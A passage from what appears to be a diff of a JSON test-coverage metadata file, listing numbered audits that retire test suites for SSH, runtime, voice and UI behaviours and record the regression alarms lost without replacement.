remote-delete-refusal, unverifiable-host subscription and editor-close cleanup suites. The previously reviewed dock-badge suite was already removed upstream in PR 40895 and receives zero new removal credit. Intentionally retired alarms include background browser selection and last-tab landing; main startup fallback, SSH project cleanup/survivor routing, exact-PR contradiction/saved-push positives, replay/sidecar rollback and wrapped remote error normalization; records/snapshot missing-diff hydration, ambiguous folder-owner delete refusal, focus no-op notifications, nested editor context-only cache check, pending broadcast-first status and ordinary four-confirmation aggregation; preview-source frontmatter pruning, approved local/runtime agent dispatch, non-GitHub legacy PR cache invalidation, stale merged-head transient-error fallback, empty-queue immediate query reply and unverified-to-concrete preflight risk. Additional intentionally retired alarms are injected host subscription/unsubscribe counts, synthetic editor reveal/draft/fallback/scoped close, ambiguous unread refusals and hidden mark/read roundtrip, immediate connect backoff/noError, positive mirrored evidence-clock renewal, supplied VM failure/success projections and git-local/folder-SSH wake permutations. Remaining temporal/ownership cases are narrower; no equivalent replacement or fresh execution is claimed. Audit 3283 removes 20 authored declarations and 31 expanded scenarios, including two whole suites. Retired alarms cover PR refresh-state pruning, shared runtime subscription cleanup and store isolation, language content-change routing and older completion ownership, ordinary panel retry-timer cleanup and pending loading, four hosted-review lifetime permutations, mocked terminal creation error/order wiring, five sleep-inventory variants with pending-frame-only assertions, palette fallback/composite highlights, Windows/UNC encoded-editor input rows, mixed-repository partial failure counts, title setters and generated-title bypass/replacement, five window-close coordinator delegation/guard/finally branches, and ambiguous-old-record frame reveal. These regression checks are intentionally lost under the test-value audit; retained cases are not equivalent replacements. Prior coverage notes and receipts remain historical. Audit 3273 removes 14 authored declarations and 19 expanded scenarios across four whole suites and eight partial suites. Retired alarms cover saved-local cancellation/layout ownership, ambiguous-owner warning reset, folder attachment routing, VM false-capability bypass, abandoned reveal warmup cleanup and viewport claim deduplication/rearming, quiet unrelated remote-removal refusal, startup-command one-shot consumption, repository/floating recovery-ledger rows, fake-React pinned-scroll intent, split-ratio state identity/subscriber suppression and fractional change, cross-host project-group join refusal, three PR request-lifetime permutations, upstream-status preservation on error, and unresolved Git-owner refusal. These regression checks are intentionally lost under the test-value audit; retained scenarios are not equivalent replacements. Historical coverage receipts remain historical, including gate35 subscriber claims. Audit 3256 removes these specific alarms from the broad root unit commands: skill dialog active-share selection, close and pending-share handoff; simple keyed-record deletion; marker live-region insertion, simple landing and nine baseline policy examples; General search/control navigation inventory; orphan-count cache bootstrap; seven Codex code classifications and HTTP 429 warning mapping; two skill unread-root verdict examples; peer-mail payload and conversation-ID rejection; and the GitHub organization TABLE text-field optimistic rollback/failed-envelope example. These include real behaviors; retained tests do not provide equivalent coverage for every removed scenario. Mobile losses are recorded separately and are not coverage of these root commands. Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. Module layout SSH policy: Retire the multiplexer private-clock saturation registration, the writer saturation transition-count registration and the changed-source dated writer/backpressure receipt. Retained byte delivery, lane order, fairness, settlement and cancellation cases are unvalidated by that historical receipt. No equivalent replacement, new execution, measured performance, live SSH/WSL or cross-platform proof is claimed. The unchanged WSL protocol receipt retains only its original command scope. Historical prior account (preserved verbatim): Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2070 (sources2068/2069): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime.test.ts: ordinary registration cleanup removes only await import('./orca-runtime-tests/hooks-and-hosted-review.spec'). src/main/ssh/ssh-multiplexer-transport-writer.test.ts: reports saturated epochs and their drain boundary exactly once. src/main/runtime/orca-runtime-tests/worktree-removal-archive-hook-gate.spec.ts: removes and records the waiver when the failure is explicitly overridden; removes without an override record when the hook succeeds; removes when the hook is configured but not requested; removes when no archive hook is configured; holds a desktop removal in the same repo until this one is accepted; joins a desktop removal of the same worktree accepted while this one waited. src/main/runtime/orca-runtime-tests/worktree-ps-agent-row-dismissal.spec.ts: drops the row as soon as the user dismisses it, without waiting for the PTY to exit; tells paired clients to republish on the transition and on the dismissal; rejoins a row through its %s handle after pane ownership clears. src/main/runtime/orca-runtime-tests/hooks-and-hosted-review.spec.ts: reports an error when the SSH filesystem provider is unavailable; reports an SSH orca.yaml as an error without reading any filesystem; reports ok for a local repo hook check; reads SSH issue commands as absent and drops writes without touching any filesystem; allows host integration slug helpers for SSH repos through provider-aware GitHub clients; routes runtime GitHub repo identity helpers through the selected WSL project runtime; routes runtime GitHub issue and work-item actions through the selected WSL project runtime; pins explicit origin preference on runtime open-by-number work item lookups; forwards check-details cancellation without local Git overrides. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. The historical receipt/currentCommand selecting src/main/ssh/ssh-multiplexer-transport-writer.test.ts remains historical and is not a passing result for the reduced current command. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete tail-wait memo suite: its sole current authored callback checks supplied fromTail/blocked field values. Retire all three broader memoization/equivalence/eviction assertion aliases; they are not backed by retained source callbacks. No scan-work budget, sustained output, physical terminal or resource measurement is assigned to this removed test. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1674 removes low-value test projections, mock wiring, private-state assertions, inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained public behavior and refusal boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1634 removes low-value IPC, filesystem and runtime projections, argument inventories and duplicate examples without equivalent replacement coverage. Per-source reviews record retained cancellation, ownership, authorization, filesystem and SQLite boundaries with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Local macOS evidence covers main-process pending-output and projection-admission caps, saturated-tail wait detection, direct-SSH source retention/accounting, always-on V1 negotiation with legacy peer fallback, exact provider-generation pause ownership, renderer exit/data ordering, decoder input bounds, bounded reconnect scheduling, and WSL stdio transport settlement through deterministic unit contracts. A joined main/runtime oracle exercises renderer-sourced headed semantics and headless-model snapshot semantics without launching a live paired server. Separately, a macOS-hosted Docker OpenSSH run exercises only the deployed Linux relay and direct SSH provider with an exact 256 KiB source-credit plateau, concurrent PTY typing, fixed-size filesystem frames, Git churn, and owner-lease reconnect. Neither deterministic topology labels nor Docker SSH constitute live headed desktop, headless orca serve, or physical WSL evidence; local/daemon, prior-version daemons, Windows named pipes/ConPTY, folder workspaces, and mixed-version clients also remain uncovered. Audit1312 removes low-value imported specs from aggregate test drivers; old whole-driver execution receipts are archived. Retained registrations are unchanged. No equivalent replacement coverage is claimed. Audit1383: src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts reduced. Lose command-list/receipt/default/background activation matrices whose provider spawn returns canned IDs. Retained test proves actual tab allocation separation, not terminal startup. No equivalent replacement coverage is claimed. Existing exact unaffected receipts and their platform/provider/budget claims remain scoped to unchanged selectors. Changed optional selectors have no new execution result. Audit1401: src/main/runtime/orca-runtime-tests/mobile-session-tabs-duplicate-pty-repair.spec.ts removed. Loses listing-on-already-repaired-data alarm; it never established runtime repair invocation. src/main/runtime/orca-runtime-tests/mobile-session-tabs-split-agent-tab.spec.ts removed. Loses actual mobile split sibling shell versus recorded-agent resume command alarms; no equivalent coverage asserted. src/main/runtime/orca-runtime-tests/worktree-native-chat-setup.spec.ts removed. Loses separate setup/startup tab result in that manually assembled path. src/main/runtime/orca-runtime.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Existing exact unaffected receipts remain unchanged and apply only to their unchanged selectors. Changed optional selectors have no new execution result. Prospective settings-host12 runtime-ipc110 reduction: The runtime compatibility driver is intentionally narrowed by runtime-ipc110 whole-registration policy: four imported TEST fragments are retired and reviewed partial fragments lose complete callbacks. Full path/title/hash and lost-alarm records are bound in the local runtime-ipc110 recipe. This is an import-closure disclosure; command filters may select only part of that driver. All remaining selectors keep only their own bounded scope. Preserve every earlier narrative, historical assertion receipt and dated evidenceRun exactly. Historical runs do not validate the reduced registration set; no fresh test, timing, runtime or whole-gate pass is claimed.", "motivatingLinks": [ "https://github.com/stablyai/orca/pull/6836", "https://github.com/stablyai/orca/pull/6858", @@ -9899,7 +9857,7 @@ "providers": ["local", "daemon", "ssh", "remote-runtime"], "coveredPlatforms": ["macos"], "coveredProviders": [], - "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5743 removes whole identity-scanner/browser retirement/RPC dispatch test suites from active selectors, accepting incremental OSC identity framing, in-memory page retirement generation fencing and spied-runtime SQL dispatch authority/rollback alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. NEXT136 retains only unchanged execution receipts at their original scopes. Reduced-source selectors and retained static assertions have no new execution or equivalent replacement credit.", + "coverageNotes": "Audit5916 removes the entire local-worktree-creation-part-02.spec import from the retained runtime driver, intentionally losing the mocked exact-name create refusal when a selected PR matches a remote branch. The sole zero-auth terminal-handle registrar for another deleted suite is also retired, with no authored credit. Driver selectors retain only their narrowed import scope. Unchanged dated independent receipts are not equivalent replacement or fresh whole-gate validation. Complete prior account retained verbatim: Audit5901 removes only the mobile-creation-and-orchestration-part-03.spec import from the retained runtime driver. The fragment's missing-handle wait abort and waiter retirement on reload-exit alarms are intentionally lost. This is a conservative import-closure notice: named command filters may exclude those cases. Driver selectors remain; unchanged historical receipts retain their original scope and establish no fresh whole-gate pass or equivalent replacement. Complete prior account retained verbatim: Audit5896 removes only the paired-settings.spec and dispatch-mailbox-delivery.spec import lines from their retained runtime/mailbox drivers. Those imported suites and alarms are intentionally retired, without equivalent replacement. Driver selectors remain; unchanged dated receipts retain original scope and do not establish a new whole-gate import-closure pass. Complete prior account retained verbatim: Audit5743 removes whole identity-scanner/browser retirement/RPC dispatch test suites from active selectors, accepting incremental OSC identity framing, in-memory page retirement generation fencing and spied-runtime SQL dispatch authority/rollback alarms without equivalent replacement or fresh execution. Remaining dated evidence keeps its exact independent selector scope. Historical prior account (preserved verbatim): Audit4362 intentionally deletes the imported stale-waiter retry and manually assembled OSC9999 mobile-republish cases, plus the mocked missing-worktree cleanup suite (4 authored / 5 finite cases in three suites). Lost alarms include repeated unread worker_done pointers, working-to-waiting mobile status publication, missing-worktree filtering, and scoped daemon shutdown with unrelated duplicate identities. No replacement coverage or new platform proof is claimed. Audit3994 retires two authored callbacks imported by the shared construction test driver: split OSC 9999 carry and rendererless status ownership, plus OpenCode permission text taking priority in status and tui-idle refusal. Remaining imports and selectors keep their scope. No equivalent replacement or fresh gate execution is claimed. Audit3403 composes root-adopted3393/3394,3400/3401 and3398/3399: intentionally retires167 authored registrations/196 potential expanded cases across93 whole suites without equivalent replacement or fresh execution. Retained65 registrations/79 potential cases include one conditional missing-input failure sentinel; potential counts are not executions. Historical notes and complete dated receipts retain their exact original scopes. The retained runtime registration driver loses three complete imported fragments: changed-working-label title facts and suppressed-frame tracked snapshots; refusing SSH GitLab MR-base lookup before local Git/glab calls; and missing folder-workspace path creation/update refusal before spawn/store mutation. These alarms are intentionally lost. Other imported fragments and separately rooted dated receipts are unchanged; they are not equivalent replacement coverage. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. NEXT136 retains only unchanged execution receipts at their original scopes. Reduced-source selectors and retained static assertions 